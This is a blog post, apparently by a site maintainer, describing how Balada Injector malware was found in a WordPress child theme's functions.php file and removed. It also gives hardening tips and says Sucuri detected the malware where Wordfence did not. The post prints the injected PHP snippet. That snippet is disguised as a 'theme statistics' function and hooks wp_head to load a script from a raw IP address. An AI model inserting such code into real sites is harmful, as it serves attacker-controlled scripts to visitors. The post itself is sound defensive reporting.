Case Study of Security: Clearing Balada Injector Malware on a WordPress Site

A security scan detected malware, resulting in an unauthorized external JS loading on a website. This case study shares the investigation process and steps to remove a malicious code snippet found in the child theme's function.php, affected by the Balada injector malware. While Sucuri successfully identified this issue, Wordfence was unable to detect it.

Beginning

Status:

  • According to the pre-configured maintenance report for the website, daily scans for security vulnerabilities and website security status have detected malware.
  • This has resulted in an additional external JS resource “https://147.45.47.87/scripts/theme.js” being loaded, and connecting to StickyADS.tv Ad (ads.stickyadstv.com) on the front end.

Initiating investigation

  1. Full backup first for sure.
  2. Use SSH command line to list files modified within one day before and after the date shown in the maintenance report.
  3. Prior identified the files with a modification date of April 3rd that remain unchanged after the site-wide update.
  4. Determine that within a child theme, typically not overwritten during updates, there exists an additional code snippet in the function.php file calling the external JS:
/* Theme statistics function */

function wptheme_stat() {

?>

<script async src="https://147.45.47.87/scripts/theme.js"></script>

<?php } &#x200B; add\_action("wp\_head", "wptheme\_stat");
  1. Clean all caches and scan again until it appears as “Verified Clean” from every vendor.

Suggestions & Improvements

  1. Backup your site regularly
  2. Keep themes and plugins updated
  3. Use trusted WordPress themes and plugins
  4. Use strong login passwords
  5. Enable 2FA for all users
  6. Implement a reliable malware scanner

Reminds

In this case, I tried using several security plugins, including Wordfence, but none of them could identify the problem, let alone the affected files.

Sucuri is the only service provider that detected the issue, either through their online service or plugin. The results indicate that the Balada injector malware is not easy to detect and check. Well done, Sucuri!

QR Code to This Article

QR:  Case Study of Security: Clearing Balada Injector Malware on a WordPress Site

Green Yang
Green Yang

Brand, Jazz, WordPress. Come on in! Here are my own 3 websites and IG for career and for fun!
品牌, 事業, 網站, 爵士,歡迎來逛逛我的三個網站與一個 IG ,有正經有趣味喲! - https://linktr.ee/gjazz

Articles: 60

Leave Comments

This site uses Akismet to reduce spam. Learn how your comment data is processed.